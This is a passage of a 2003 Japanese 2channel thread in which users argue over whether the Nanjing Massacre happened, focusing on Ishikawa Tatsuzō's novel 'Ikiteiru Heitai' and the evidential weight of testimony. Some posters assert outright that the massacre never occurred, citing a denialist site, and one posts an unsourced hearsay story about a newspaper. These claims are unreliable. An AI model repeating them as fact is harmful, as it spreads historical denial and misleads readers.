まさにあなたのような論法、つまり「後からあてはめる」を用いているからです。

>莫大とは,数えられないほどの強姦があったということだ。小川はそう認識していることこそ
>重要なのが,否定派は分からない,いや,あえてそこに目をつぶり,数の問題に矮小化しよう
>する。これが,まともな議論をする態度か。

違います、あなたが「莫大な数の強姦はあったと認めるのか」と質問したから問題なのです。
「小川がこう認識していた事は認めるか」と質問すれば、確かにあなたの言う通りですが、
あなたは「小川の認識」ではなく「このスレに参加している者の認識」を問うたのです。
だからそれに回答しようとする一参加者として「莫大とは何ぞや」と質問しているのです。
「小川の認識」だけが重要であるなら、>>230で「認めるのか」と質問される事に意味を感じません。
>>230について説明するか、でなければ発言を取り消して下さい。

なお他の発言に関しては「相変わらずだなぁ」という感想しかありませんので特にレスしません。
113氏や編集者氏の発言をもう一度熟読する事をお勧めします。

473 :吉原炎上:03/08/25 15:21 ID:a6uRxjJv
>そうです、「後に」言われるものです。
>で、あなたは「南京事件を」当時の日本人が知っていた、と言いましたよね?
>後に言われるはずのものを、なぜ当時の石川が「これは南京事件だ」と認識していたのですか?

いや、その意味じゃなくて。(まあわかっていってるんだろうが)
後世「関東大震災」といわれる大規模地震があった。しかし、地震直後はただの
「関東方面の大規模地震」「でっかい地震」だろうがよ。

474 :222:03/08/25 15:35 ID:0WvftNSD
>>356
 なんだ,ハレー彗星の名前を知らないで目撃した人は,ハレー彗星を目撃したことにならないんだね。


475 :編集者:03/08/25 15:59 ID:Y0+haK9Q
>>473
>>474
を見ればわかりますが、関東大震災やハレー彗星は疑いようも無い真実です。
犠牲者数の食い違いなどで多少数字の食い違いがあっても実際に起きたかどうかで
体験者の証言が食い違うことはありえません。

一方南京に関しては「あった」「なかった」で証言が分かれます。
数の問題ではないと222氏が仰るとおり、否定肯定両方を検証するべきだと
356氏113氏他名無しの方は仰っています。
多数決をこの場に持ち出すなら、議論は成り立ちません。
222氏のスタンスとして最初から「南京大虐殺はあった、これは証拠があろうと無かろうと
絶対ダ!!」というものがわかりますが、ここはそれ以前にあらゆる証言や資料を検証しよう
というスレッドじゃないのですか?
重ねて書きますが、毎回毎回スレッドの意図を無視し、強引な主張、罵倒、一切の疑問は全て
否定派と決め付ける、そんな222氏に誠実さがあるのでしょうか?

476 :356:03/08/25 16:08 ID:cph278Nd
>>473 >>474
編集者氏の発言とかぶりますが、
南京事件と地震や彗星を同列に語られても困ります。
かたや定義の確定しているもの、かたや議論の最中であるもの、です。
それとも知らない間に南京大虐殺は事実として確定していたんですか?

それに、実際に石川が何を見聞きしたかはともかく
「生きている兵隊」それ自体はフィクション小説ですよ?
関東大震災はフィクションですか?ハレー彗星はフィクションですか?
仮に「生きている兵隊」がフィクションでないとしても、
>ハレー彗星の名前を知らないで目撃した人
・・・が、その彗星目撃談を書いたとして、それを根拠に
「この人はこの時ハレー彗星を知っていた」という事になりますか?
222氏が言っていた(>>265)のはそういう事ですよ。

477 :名無しかましてよかですか?:03/08/25 16:57 ID:eQVdgCMt
2ちゃんのカウンター崩壊!!
このスレのNo26のカキコはどこへ逝ったっ!
http://kyusyu.machibbs.com/bbs/read.pl?BBS=kyusyu&KEY=1053838955&LAST=50

478 ::03/08/25 16:59 ID:pur4VeWQ
韓国兵士のラブマシーン動画ください

479 :編集者:03/08/25 17:55 ID:Y0+haK9Q
>>468

222氏の発言の中にどれだけの誠実さをうかがえるかを
調べるためにはやむをえない処置です。
書き込みしてる内容を検証してみたわけですから。
私は南京の話を議論する前に、検証・議論する姿勢が222氏にあるのかどうかを
検証することをお勧めしてます。

PS

ていぞう の件は別の虐殺派の方のカキコでした。
この1件のみ222氏にはご迷惑をおかけしたことを
お詫びいたします。




480 :吉原炎上:03/08/25 17:57 ID:a6uRxjJv
>>478
http://www.tanteifile.com/download/news/2003/0810_01.wmv
モーニング野郎。これかな?モーニング娘の歌にくわしくないんで
曲名はわからんけど。

481 :コピペ便衣兵:03/08/25 18:03 ID:vlvH5cZl
私が朝日の「サンゴK.Y傷つけ事件」に興味を持ち、
その現場となった島に遊びに行ったときに聞いた話しです。

当時、サンゴの傷を報道し、得意顔で「我々が見つけた」と
吹聴していた取材陣だったのですが、地元の方がおかしいと思い
問い詰めたところ、「我々が新聞のネタとしてやった」と白状しました。
ここまでは有名な話しなのですが…。

その後その地元の方達に「賠償金は払うし新聞に載ることでこの島も有名になる、
それに貴方方沖縄の人々は日本人を憎んでるらしいし、良いじゃないか。
ここは他言は無用ということでお願いしたい」と言い出したらしいのです。
これには地元の方々も激怒してしまい、「日本人を憎んではいないが、
貴方方のような外道は許せない」と公表する決意を固めたそうです。

これは私が実際に聞いた話しです。
これが朝日新聞なのです。これが日本の大手新聞会社なのです。


482 :名無しかましてよかですか?:03/08/25 23:28 ID:RMlvLTNe
なるほど、つまり222がここで必死になれるのは、法曹界で爪弾きにされている反動
なわけですなあ。

483 :千恵子:03/08/26 06:58 ID:plFi8RVu
http://life.fam.cx/a012/




484 :222:03/08/26 10:10 ID:vRtasIlh
>>456
本当に大丈夫?
>・・・が、その彗星目撃談を書いたとして、それを根拠に
「この人はこの時ハレー彗星を知っていた」という事になりますか?
222氏が言っていた(>>265)のはそういう事ですよ。

 違うよ。本当に恥ずかしくないか。
 その時,巨大な彗星が地球に接近したことの証拠資料と
なるのだ。その彗星にすでに名前が付いていれば,ハレー彗星はどこ
そこ(目撃した人の地域)でも目撃された証拠だろう。
 まだ名前が付いていなければ,後からその彗星をハレー彗星と名付
けられる時に,ハレー彗星存在の目撃証言として取り扱われる。

 おまけ
 彗星の目撃証言が一つだけなら,見間違いもある。複数の目撃証言
国も,地域も違うところからの複数の目撃証言から,ハレー彗星の存
在と目撃証言のある時期の接近は疑わない。


485 :222:03/08/26 10:12 ID:vRtasIlh
 南京事件も同じだよ。ここの証言自体には記憶違いもあり得るだろ
う。しかし,全体としてこれだけ膨大な第三者や,加害者自身の証言
をどうして全部否定できるのだと言うことだ。ここの証言が間違いな
いことを立証しろと言うのはある意味で,無理を要求するものだ。なぜ
なら,ある証言の正確性は他の証言によって裏付けられるという側面
があるからだ。複数の証言が,一致している場合その証言の信用性は
高いと判断する。特に利害関係のないあるいは希薄な第三者の証言の
一致は信用性が高い。一つの証言だけ取り上げて,自己完結的に信用性
を立証しろと言うのは,詭弁だ。


486 :名無しかましてよかですか?:03/08/26 10:14 ID:0AT0WwX/
>>485
>全体としてこれだけ膨大な第三者や,加害者自身の証言
>をどうして全部否定できるのだと言うことだ

それは、「証言だけで、証拠がないから」ではないのか?
刑法では、それでは、証拠になりえない。


487 :名無しかましてよかですか?:03/08/26 10:20 ID:FEoiWfr2
>>486
コヴァか。
ちゃんと刑法読みな。


488 :名無しかましてよかですか?:03/08/26 10:29 ID:0AT0WwX/
>>487
物証もなくして、証言だけで、「あやしいから罰する」のが、あんたの刑法かな?w


489 :味ぽん:03/08/26 11:07 ID:CGVGRr0O
http://www.history.gr.jp/nanking/reason16.html

石川氏は前述の通り小説「生きている兵隊」で発禁処分を受け、執行猶予付きながら、実刑を科せられているのである。畠中氏はその石川氏と次のような問答をしている。

 「私が南京に入ったのは入城式から2週間後です」
 
 ――― そのときどのような虐殺をご覧になられましたか?
 
 「大殺戮の痕跡は一ぺんも見ておりません」
 
 ――― いわゆる「南京大虐殺」をどう思いますか?
 
 「何万の死体の処理は、とても2、3週間では終わらないと思います。あの話は私は今でも信じておりません」(同書14ページ)。
 
 自著が発禁になり、実刑まで受けた石川氏の言葉だけに重みがある。
 本多勝一氏は「南京への道」で、石川氏の「生きている兵隊」を引用して、南京大虐殺の有力な立証の材料に使っているが、石川氏に言わせるなら、迷惑千万な話だった訳だ。



490 :名無しかましてよかですか?:03/08/26 11:12 ID:hUyYs0QM
>>488
刑法にはなんて書いてある?w


491 :356:03/08/26 11:25 ID:tNun0Q1n
>>484
前にも同じ事を書きましたが、「蛮行=事件」ではありません。
戦争してるんだから蛮行などいくらでも報告例があるでしょう。
で、「蛮行を知っていた」が、なぜ「南京事件を知っていた」になるのか、
それを聞いてるんですが、そこをハレー彗星の話と混同されても困ります。
そう言われてもピンと来ないと思うので逆に聞きますが、
「蛮行を見た石川=事件を知っていた石川」というのがあなたの説ですよね?
ならば南京事件とは「生きている兵隊」に書かれている事「だけ」を指すのですね?

ていうか、あなたはそもそもこう発言していました。
>当時から南京事件を知っていた日本人もいたという証拠なのだ。(>>265
間違いなく「南京事件を知っていた」と書いてあります。
で、「事件」を知っていたのか?と問うと、あなたは
>南京で日本軍が蛮行を働いていたことを当時の日本人が知っていた証拠だろう。(>>360
と、「事件」を「蛮行」にすりかえています。
これは私の指摘の真意を分かってるからそうしたのでしょう?
すりかえを指摘されているのに、「すりかえた方」で議論を進めないでくれませんか?

余談ですが>編集者氏
222の発言集に以下を追加しといて下さい(笑)
>本当に大丈夫?
>違うよ。本当に恥ずかしくないか。

492 :356:03/08/26 11:35 ID:tNun0Q1n
>>485
>南京事件も同じだよ。

前述の通り、違います。

>全体としてこれだけ膨大な第三者や,加害者自身の証言
>をどうして全部否定できるのだと言うことだ。

私が思うに「証言者」はそれほど膨大だと思いません。
「伝聞を伝えてるだけの人」も証言者に数えるのなら分かりませんけど。
ていうか、「膨大」とはどれくらいのものを指すのですか?
今度は小川法務官の認識でなくあなたの認識なのだから答えられますよね(笑)

あと、繰り返しになりますが「生きている兵隊」それ自体は証言でなく小説です。
それと「虐殺無かった」という証言もいくつか見つかっていますが、そっちは無視ですか?
それとも証言の真偽までも、お得意の「多数派少数派」で決めますか?(笑)

>特に利害関係のないあるいは希薄な第三者の証言の一致は信用性が高い。

その通りですが、「証言者の利害関係」については以前すでにつっこみ入れてますよね?
で、あなたの言う証言者達が利害関係の無い事は立証されたんですか?
それから、証言の信用性についての議論もいいんですが、
まさか「証言のみ」で南京事件を立証しようってんじゃないですよね?

493 :名無しかましてよかですか?:03/08/26 11:46 ID:0AT0WwX/
>>490
すまんかったな。
刑事訴訟法の方だった罠。w
刑法と刑訴を混乱して書いておった罠。w


494 :356:03/08/26 11:53 ID:tNun0Q1n
それから>222さん、
以下の件がまだ未解決ですので、「時間があるとき」にでもお願いします(笑)

・「無秩序」の定義(>>356後半、>>357下段、その他それ以前の数箇所)
・「莫大」の定義、または「莫大な強姦があったと認めるか」という質問についての説明(>>472後半)
・上に付随するが、「莫大な強姦」についての小川日記以外の証言(>>329後半)
・現行の警察が「莫大(な未解決事件)=不公平」というかどうか(>>358中段)
・「不利益供述」へのツッコミに対する返答(>>327
・「意見」でなく「事実」を語るときにソースを出さない件について(>>358後半及び>>374

あと、これは議論に関係無いけど一応聞いておこうか(笑)

・「時間のあるときにレスをする」と言いながら、
 都合の良いところだけ逐一レスがついてる事についての説明(>>379後半)

495 :222:03/08/26 11:57 ID:vRtasIlh
>>486
 事実の認定は,証拠による。証拠には,供述も含む。
刑事訴訟法に書いてある。刑法ではないけどな。

>>489
 それこそ伝聞だね。そして,石川氏の過去の著作や言動
と矛盾する記述が多く,しかも,本人から,裏を取れなく
なってからの,話だから,歪曲等の可能性が指摘されている。

>>491
 繰り返すが本当にひどい奴だな。
 そんなに言葉遊びがしたければ,次のように訂正すればよいか。
 石川氏が創作意欲をそそられるほどの大規模な日本軍による蛮行
(後に南京事件と称される)があったことを,「生きている兵隊」
は,示している。




496 :356:03/08/26 12:15 ID:tNun0Q1n
>>495
>石川氏が創作意欲をそそられるほどの大規模な日本軍による蛮行
>(後に南京事件と称される)があったことを,「生きている兵隊」
>は,示している。

「訂正する」と宣言した以上、
>>265の表現は取り下げてこちらを主張する、と解釈しますね。

さて、あなたは石川の創作意欲の事まで分かるんですね。
本人に直接インタビューでもしたのでしょうか。
それとも読心術でも体得しておられるのでしょうか。
例えば私が
「中国〜その恐るべき野望〜」とかいう題で
中国兵による大規模蛮行の「小説」を書いたとしたら、
あなたは同じように
「356氏が創作意欲をそそられるほどの大規模な中国軍による(以下略)」
と解説してくれますか?

497 :編集者:03/08/26 13:07 ID:s8h5RTMf
>>491

追加しておきますw
しかし、飽くまで222氏を吊るし上げする目的ではないので、揶揄するつもりで
はございません。皆さんもそのあたりはご承知いただけていると思います。
このスレがスレタイ通りに機能することを目的といたします。

>>495
>証拠には証言も含む

は言葉通りの意味でしたらわかります。

>それこそ伝聞だね。そして,石川氏の過去の著作や言動
>と矛盾する記述が多く,しかも,本人から,裏を取れなく
>なってからの,話だから,歪曲等の可能性が指摘されている。

可能性の話はしていないので指摘されてるソースをお教えいただければ
検証の余地もあります。



498 :編集者:03/08/26 13:08 ID:s8h5RTMf
>>495

>石川氏が創作意欲をそそられるほどの大規模な日本軍による蛮行
>(後に南京事件と称される)があったことを,「生きている兵隊」
>は,示している。

前述されてる通り、生きている兵隊はフィクションであり、なおかつ
作中で「南京」が描かれることはございません。
どうしたら「南京」を描写せずに「南京事件」を描くことができるのですか?

>繰り返すが本当にひどい奴だな。
>そんなに言葉遊びがしたければ,次のように訂正すればよいか。

感情的な表現は慎まれたほうがよろしいかと思います。


499 :名無しかましてよかですか?:03/08/26 13:21 ID:W9bBYjYo
すまん編集者。編集に徹するなら徹してくれ。
今の書き込みは揚げ足取りにしかなってない。
編集って立場をやめるなら編集者の看板下ろしてくれ。

500 :編集者:03/08/26 13:32 ID:s8h5RTMf
>>499

私の立場はすでに前述しておりますのでご心配なく。
公正・中立などといった立場を表明した覚えはございません。
前述したログをお読みになることをお勧めいたします。


501 :名無しかましてよかですか?:03/08/26 13:37 ID:W9bBYjYo
だから、だったら「編集者」ってハンドルはやめんかい、ってこってす。

502 :名無しかましてよかですか?:03/08/26 13:41 ID:0AT0WwX/
偏執者なんだろ?w


503 :味ぽん:03/08/26 13:57 ID:CGVGRr0O
石川は、「虐殺の痕跡など全く見ていない」「南京大虐殺など信じていない」とはっきり言ってるわけ。

これで終りだろ?

504 :名無しかましてよかですか?:03/08/26 13:59 ID:UZDYskXd
>>501
222必死だな。

505 :名無しかましてよかですか?:03/08/26 14:12 ID:W9bBYjYo
>>504
499,501だけど、222とは別人だよ(w 502は知らんけど。
安易な決め付けご苦労さん。南京事件問題ではそんなドジ踏まないように気をつけてね。

>>503

「他のところで全然別のことを言ってるのに、畠ちゃんにだけ全然別の告白をしたのはなあぜ?」
ってことだろ?

そのへん「別のこと言ってる証拠出せ」と自称編集者が言ってるけど、さきに
「そんな証拠は無いだろ?」か「それはねえこういうわけ」というリプライが
ほしいところだよね。

506 :名無しかましてよかですか?:03/08/26 14:19 ID:W9bBYjYo
>>畠ちゃんにだけ全然別の告白をしたのはなあぜ
これがさあ、恩師とか親しい友人とかが告白の相手だったら、まだ信憑性あったのにね。

507 :222:03/08/26 16:10 ID:vRtasIlh
>>356
 ほとほと愛想が尽きてきた。ログを読んで必要だと思ったらレスをしよう。

>>497
>>証拠には証言も含む
>は言葉通りの意味でしたらわかります。
 つまり,物証がなければ有罪にしないなどということはない。
一般的にも,事実上もそんな原則はない。目撃証言だけでも有
罪になりうる。被害者の証言だけでも有罪になりうる。要は,
被告人,被疑者の弁解が信用できず,被害者の供述に信用でき
れば,それで十分だ。

>>それこそ伝聞だね。そして,石川氏の過去の著作や言動
>>と矛盾する記述が多く,しかも,本人から,裏を取れなく
>>なってからの,話だから,歪曲等の可能性が指摘されている。

>可能性の話はしていないので指摘されてるソースをお教えいただければ
>検証の余地もあります。

 秦の昭和史の争点ほかで,同種の記述を読んだ気がするが,正確なソ
ースは記憶していない。まあ,君が本当に知らないというのであれば,
自宅と事務所を家捜しして探してみよう。








508 :味ぽん:03/08/26 16:14 ID:CGVGRr0O
>505

>「他のところで全然別のことを言ってるのに、畠ちゃんにだけ全然別の告白をしたのはなあぜ?」
>ってことだろ?

まず、 石川を南京事件の証拠としてあげてるのは「肯定派」だって事を認識すべし。
そんな証言がころころ変わる奴を初めから証拠として挙げるんじゃないよ。

んで、「他のところで全然別のことを言ってる」ってのはなんなの?
他では「南京で虐殺を見た」とか言ってるわけ?
ソースだしてくれよ。


509 :222:03/08/26 16:16 ID:vRtasIlh
>>498
 とりあえず,この人の記述で納得できないか。
http://village.infoweb.ne.jp/~fwix7026/books/ww2/i-heitai.htm
 何度も言うように,南京で日本軍による大規模な残虐事件など起きていない。
その証拠に,当時の日本人の誰もそんな話も噂も聞いていない。という,主張
に対する反駁だ。弾劾証拠というやつだ。

>>繰り返すが本当にひどい奴だな。
>>そんなに言葉遊びがしたければ,次のように訂正すればよいか。
>感情的な表現は慎まれたほうがよろしいかと思います。

 悪いがな。私はこういう言葉遊びで事実をごまかそうとする奴が大嫌いでね。
 まあ,それに火事とけんかは江戸の花と言うくらいで,多少のあおりはわさび
位に思ってくれや。




510 :222:03/08/26 16:25 ID:vRtasIlh
>>味ぽん
 君の脳はずいぶん薄いな。
 石川氏が「生きている兵隊」を昭和13年3月に書いていたことが重要なのだ。
 仮に,石川氏が,その後兵士の野蛮な行為などいっさいみたことがない。などと
言い続けたとしても,昭和13年3月にかかれたという事実は,重い。

511 :356:03/08/26 16:26 ID:tNun0Q1n
>>509
>私はこういう言葉遊びで事実をごまかそうとする奴が大嫌いでね。

奇遇ですね、私もスリカエやその場しのぎのウソでごまかす奴が大嫌いなんですよ。
で、嫌いな奴には罵声や中傷をしていいんですか?

やーい、222のアホー、バカー、お前のかぁちゃんデーベーソー

「あなたを真似て」私もやってみましたが、どうですか?(笑)

512 :味ぽん:03/08/26 16:30 ID:CGVGRr0O
>510
石川は、「『南京では』虐殺など見なかった」と言ってるんだよ。
日本兵は野蛮な行為など一切やらなかったとは言っていないよ。
おわかりか?




513 :356:03/08/26 16:34 ID:tNun0Q1n
>>509
> とりあえず,この人の記述で納得できないか。
http://village.infoweb.ne.jp/~fwix7026/books/ww2/i-heitai.htm

その記述でいいんですか?本当にいいんですね?
以下引用しつつツッコミ。

#虐殺があったとされる南京攻略戦を描くルポタージュ文学の傑作、
#とリボンに銘打たれた作品。

「南京攻略戦」を描いてるのであって、「南京事件」を描いてるんじゃないみたいですよ。
虐殺があった「とされる」って、ちゃんと太字で書かれてますし。

#気鋭の作家石川氏が中央公論特派員として昭和13年に、つまり
#東京裁判でいう暴虐事件にやや遅れて現地を取材して作り上げた作品
(中略)
#実際に中国戦線に従軍したからこそ描ける、日本軍の実態。

後から取材したのか実際に従軍したのか、どっちやねん?(笑)

#不利になると軍服を脱ぎ捨て民間人に化ける敵正規兵や、
#どうせ敵に奪われるなら、と自虐的になって町に放火したり、
#武器を隠して近づいて油断している日本兵を襲う民間人も多かったのだから。
#このような場合、無害な民間人と、有害な民間人と、実は軍人、を
#戦場において区別することが容易であろうか、というより前に
#自分が殺されるかもしれない。そんな戦地にいた日本兵の立場からすると、
#戦場独特の心理状態も働き、自分のも含めて命の価値を
#軽く考えるようになってしまったことは無理もないことではなかろうか。

こちらの言いたい事は分かると思うのでノーコメント。

514 :名無しかましてよかですか?:03/08/26 16:50 ID:W9bBYjYo
>>508
>そんな証言がころころ変わる奴を初めから証拠として挙げるんじゃないよ。
だから結論を急ぎなさんな(W 結論を先に出してそこから理屈こねてるよ。
畠ちゃんへの告白だけ違うのはなぜ??
「そんな事実はない」か、「それはこうだ」と答えりゃいいんでしょ。
もしくは「僕はその辺よく知りません。教えてください」か。
222の手が空いたら僕もそのへんおしえてほしいのだけど(W。
順序としてはそこからだ。

>>222
じゃましてすまそ。

515 :名無しかましてよかですか?:03/08/26 16:58 ID:W9bBYjYo
読み返してみると、味ぽんさんって、
>石川は、「虐殺の痕跡など全く見ていない」「南京大虐殺など信じていない」とはっきり言ってるわけ。
の後に
>そんな証言がころころ変わる奴を初めから証拠として挙げるんじゃないよ。
って発言があんのね。へんなの。
事実関係どうでもよくて、否定が出来ればいいのかな、とか、思われちゃうよ。これ。
まあ、言葉尻をとらえれば、発言がコロコロ変わっているように見える好例、ということで。

516 :356:03/08/26 17:05 ID:tNun0Q1n
>>514
他人の議論に割って入ってすまんが、>>508(味ぽん氏)につっこむなら
>んで、「他のところで全然別のことを言ってる」ってのはなんなの?
>他では「南京で虐殺を見た」とか言ってるわけ?
>ソースだしてくれよ。
まず↑これに答えてあげたら?でないと
>畠ちゃんへの告白だけ違うのはなぜ??
って言われても、どう違うのかさっぱりですよ。

あと「生きている兵隊」については、
http://homepage2.nifty.com/tizu/sensoutoheiwa/sh22.htm
http://web.kyoto-inet.or.jp/people/satoyuki/hobby/reading/reading.html
こういった「読者の感想」もある。>>513に書いた事も含め、
「生きている兵隊」を「南京事件を描いたもの」として捉える事自体が
どうも違うような気がするんだが、その辺どうよ?
それとも222氏よろしく「蛮行=事件」で押し切るのかね、肯定派は?

517 :味ぽん:03/08/26 17:09 ID:CGVGRr0O
>515
おれは石川の証言が変わってるとは思ってないわけ。OK?
これは一貫したおれの主張です。

肯定派が石川を証拠に出しておいて、その石川の「証言が変わってるのが問題」なんて変なこと言うから、
そんな事言うくらいなら最初から石川なんぞ持ち出すなって言ってるの。
しかも「証言が変わった」っていうソースも出してねぇし。



518 :名無しかましてよかですか?:03/08/26 17:21 ID:W9bBYjYo
>>517
はいはい。いいたいことはわかりました。
でも問題は別のところでしょ。
畠ちゃん伝聞の発言だけ、他の石川ちゃんの発言と違うのはなぜ?
^^^^^^
ってことでしょ。わざと「畠ちゃん伝聞」ぬかしてる?
まあ、否定派は正直者で肯定派はうそつきばかり、ということが決まってるなら、悩むこと無いわけですが。

ちなみに、あっしはその辺の資料まったく持ってないので、提出できまへん。
そのへんはすまんす。

519 :編集者:03/08/26 17:21 ID:s8h5RTMf
いや、仕事が編集なんでこのHNなんですが・・・。
それに編集者=公明正大なんていう発想がどうして出てくるのか
謎です・・・・。たぶん、聖○新聞だって赤○だって編集はいますよ。

石川達三の件ですが、前述されてますね。

//石川は一貫して軍の部隊と一緒に行動したわけではない。
//また、生きている兵隊は全て伝聞から作成されたフィクションである。

以上の件が後書きで明記されてます。

>>222氏

あと、個人の好悪の感情で罵声を浴びせあうのは全くもって無駄な労力なので
一つとして良いことは無いのですが・・・・。
議論する姿勢を最初から持ってないという表明なのでしょうか?

520 :味ぽん:03/08/26 17:26 ID:CGVGRr0O
>518
だから「他の石川ちゃんの発言」ってのはなんなんだ?って言ってるの。
そこでなんと言っているのかを示さない限りその反論は全く意味がねぇだろ。



521 :名無しかましてよかですか?:03/08/26 17:26 ID:W9bBYjYo
>>516
だから、ソースは持ってないよ。でも、話の順番として、
「ソースを出せ」より「それを否定する/肯定する」の答えが先でしょ。
見てたら変だよ。
肯定するならそのまま進めばいいし、そんなものは無いと思うなら否定すればいい。
下手に否定するとツっこまれるから、それを恐れているのかな? とか、思われちゃうよ。

僕は、正直ほとんど情報持ってないすよ。だから、この場できちんとした議論ができてたら、
それはうれしいわけ。
でも、きちんとした議論が出来てないでしょ? 222だけ悪いって?(w
だから、いろいろ書いてるわけ。

522 :名無しかましてよかですか?:03/08/26 17:29 ID:W9bBYjYo
>>520
おっとコレは不親切だった。当然、 >>495 で222が発言してる、
>石川氏の過去の著作や言動
のこったよ。

523 :356:03/08/26 17:31 ID:tNun0Q1n
「この黒い箱の中に、何かが入ってます。
 僕はそれが何か分からないし、今この箱を開ける事もできません。
 でも、この中に入ってるのはリンゴではありません。
 さぁ、肯定する?否定する?ヘタに否定するとつっこまれるよ」

ID:W9bBYjYoの言い分は、つまりこういう事です。
こんなんに付き合う方が「きちんとした議論」から程遠いと思う。

524 :名無しかましてよかですか?:03/08/26 17:32 ID:W9bBYjYo
当然、「石川氏の過去の著作や言動」が具体的にナニをさすのかはそれなりに
重要だけど(僕も知りたいけど)、まず、そんなもん存在しないというなら
きちっと否定しなさいな。存在を認めた上で議論をするなら、ソース確認は
後回しでいいはず。
知らないなら、ソース出せじゃなくて「教えてください」でしょ。

525 :味ぽん:03/08/26 17:36 ID:CGVGRr0O
>522
わかんねぇかな?

石川は南京攻略の2週間後に南京入りし、「南京では虐殺などまったく見ていない」「南京虐殺など無かったと思う」
と証言したわけ。

その石川が「日本兵は蛮行を行った。こんな悪い事をした」っていくら言ったって
そこに「南京では」という発言が無ければ上の証言を否定する事にはならないでしょう。

例えば、(あくまでも例えね)
「日本兵は残酷だった。市民を大勢虐殺した。上海では虐殺を見た。
 しかし『南京では虐殺などまったく見ていない』」
という証言だってありうるわけで、
もしこんな証言があったとすれば、「南京事件は無かった」という証言になるわけだよ。

いいよね?簡単な事だよね?わかるよね?もうこれ以上簡単に説明は出来ないぞ。

526 :356:03/08/26 17:37 ID:tNun0Q1n
「存在する/しない」の議論において、
ソース提示は「存在する」を主張する者の、いわば義務です。

>知らないなら、ソース出せじゃなくて「教えてください」でしょ。

別に出さなくてもいいよ。
「ID:W9bBYjYoの言い分はソース無し」
とだけ書いておけば、見る人には全部分かるこったし(笑)

527 :名無しかましてよかですか?:03/08/26 17:40 ID:W9bBYjYo
>>356
というか、石川氏の普段の言動のことでしょ。
特定のどれ、というのをさすのでなくて、全般的にそういう発言してるって
主張でしょ。それに対して「特定できない」という指摘はちょっと..。
少なくとも、その程度のことは知っている上での発言だと思ってたんだけど、
すまん、買いかぶってました。
ごめんね。

528 :名無しかましてよかですか?:03/08/26 17:49 ID:W9bBYjYo
>>525
わかんないねえ。もしそうだとしたら、畠ちゃん以外からも同様な証言が取れそうなもんだと思わない?
誰もが知りたがりそうなことじゃん。
だからそこで思考停止しないで、「どうして畠ちゃんだけがその証言を取れたか」をつっこみたくなるじゃん。
ちなみに、畠ちゃんの伝聞だけど「じゃあ石川さんは何を見たのか」「どうしてこんな作品を書いたのか」あたり、
どんなことを書いてるか教えてもらえるとありがたいっす。証言取るときの基本だよね。
このへんにリアリティがあると畠ちゃんの伝聞に信頼性が出てくるし。
よろしくお願いします。

529 :名無しかましてよかですか?:03/08/26 17:52 ID:W9bBYjYo
>>526
すまんがぼくはそう思ってない。それやると、お互いソース出せ議論になるだけで不毛だと思ってる。
まずは、ソースを出させなくても否定できることだけをつめたほうが、早いと思うよ。

530 :356:03/08/26 17:53 ID:tNun0Q1n
>>527
>少なくとも、その程度のことは知っている上での発言だと思ってたんだけど

ふーん、石川の普段の言動は、君的には知ってて当然なんだ。
じゃあ当然君も知ってるんですよね?
さぁ発表してください、石川は普段全般的になんと言ってるんですか?

これで答えがきちんとしたものでなかったら、以後無視だな。
議論を混乱させて楽しんでるだけにしか見えん、荒らしと一緒。222よりヒドイ。

531 :味ぽん:03/08/26 18:02 ID:CGVGRr0O
>528

>わかんないねえ。もしそうだとしたら、
>畠ちゃん以外からも同様な証言が取れそうなもんだと思わない?
>誰もが知りたがりそうなことじゃん。

そんなに知りきゃ阿羅健一の 『「南京事件」日本人48人の証言』
でも読んでみれば。
同様の証言がたくさんあるから。


532 :名無しかましてよかですか?:03/08/26 18:04 ID:W9bBYjYo
>>530
僕は知らんといってるでしょ。
だから、ここから読み取れるような発言しかしてない。
言ってる内容が矛盾してるとか、常識的に考えておかしいとかね。

だから、知らないことについては知らないって言ってる。
教えてくれ、とまで言ってる。知りたいわけだ。

でも、356、あなたホントは知らない(ホントに知らないの?)上で、なんか
言ってるでしょ。だからおかしいよと。謙虚になろうよ。

533 :名無しかましてよかですか?:03/08/26 18:08 ID:W9bBYjYo
>>531
さんくす。とりあえず後で調べるよ。その本に、石川さんの発言が載ってるんだね。

534 :味ぽん:03/08/26 18:16 ID:CGVGRr0O
>533
石川発言なんぞ載ってねぇよ。
いい加減にしろ馬鹿.

南京陥落当時に南京に居たのは石川だけじゃねぇんだ。
畠ちゃん伝聞よりもっと確実な直接本人から聞いた証言がいっぱいあって、
そいつらが口をそろえて「南京事件など無かった」って証言してるって話だよ。
石川と同様の証言をしている人がいっぱい居る。

とにかくお前は南京事件に関して無知すぎる。
勉強したいなら過去ログ読むなり関連資料を読むなりしろ。
それでも言いたいことがあるならここに戻って来い。

535 :名無しかましてよかですか?:03/08/26 18:23 ID:W9bBYjYo
>>534

ごめんなさい。もっとわかりやすく書くべきだったね。僕が言ってたことはこうです。

石川ちゃんは、「南京では虐殺などまったく見ていない」「南京虐殺など無かったと思う」
と証言していると、畠ちゃんは言うけれど、もし畠ちゃんの言うことが正しいとしたら、
石川ちゃんの証言として、畠ちゃん以外からも同様な証言が取れそうだと思う。

端々省略してましたが、そういう意味だったんです。

だから、「それは阿羅健一の本に載っている」という答えをもらったので、
さっきみたいな発言が出たわけです。

わかりにくかったね。すいません。

536 :356:03/08/26 18:29 ID:tNun0Q1n
>ID:W9bBYjYo
・発言の責任(ソース)を聞かれると「僕は知らん」
・にも関わらず他人に対しては「知らない上でなんか言うなんておかしい、謙虚になれ」

結論:じゃあまずお前が黙れ

つーわけで、こいつ荒らし確定。俺は以後無視するよ。
どう?ID:W9bBYjYoよ。今までこれだけ相手してもらって満足した?
でもさ、ネットでの罵倒合戦でしかコミニュケーション取れないのって寂しくない?
たまには部屋から出ようぜ。日光浴びないとどんどん不健康になるよ。

537 :味ぽん:03/08/26 18:34 ID:CGVGRr0O
>535

>石川ちゃんの証言として、畠ちゃん以外からも同様な証言が取れそうだと思う。
>端々省略してましたが、そういう意味だったんです。

そう思ったんだな。そう思うのはお前の勝手だ。
そんで、畠ちゃんのインタビュー以外に石川の証言が残っていないとしたらどうなる?
どうもならん。
つまりお前の言ってる事はまったく無意味で、どっちに転んでも、なんの進展も無い。
こういうのを不毛な議論という。

俺もそろそろ失礼しよう。
>356氏
機会があればまたよろしく。




538 :名無しかましてよかですか?:03/08/26 18:36 ID:W9bBYjYo
>>536
うん、たのしかったよ。
ちなみに、「知らないくせに知っているような振りをして発言するのはおかしい」です。
             ^^^^^^^^^^^^^
ここ重要ね。ひょっとして意図的に言い換えた? それとも無意識? 読み落とした?
356もぽんちゃんも読み落としが多すぎるみたいだから、気をつけてね!

539 :名無しかましてよかですか?:03/08/26 18:40 ID:W9bBYjYo
>>537
はいはい、ポンちゃんはそう思わないんだね。了解。
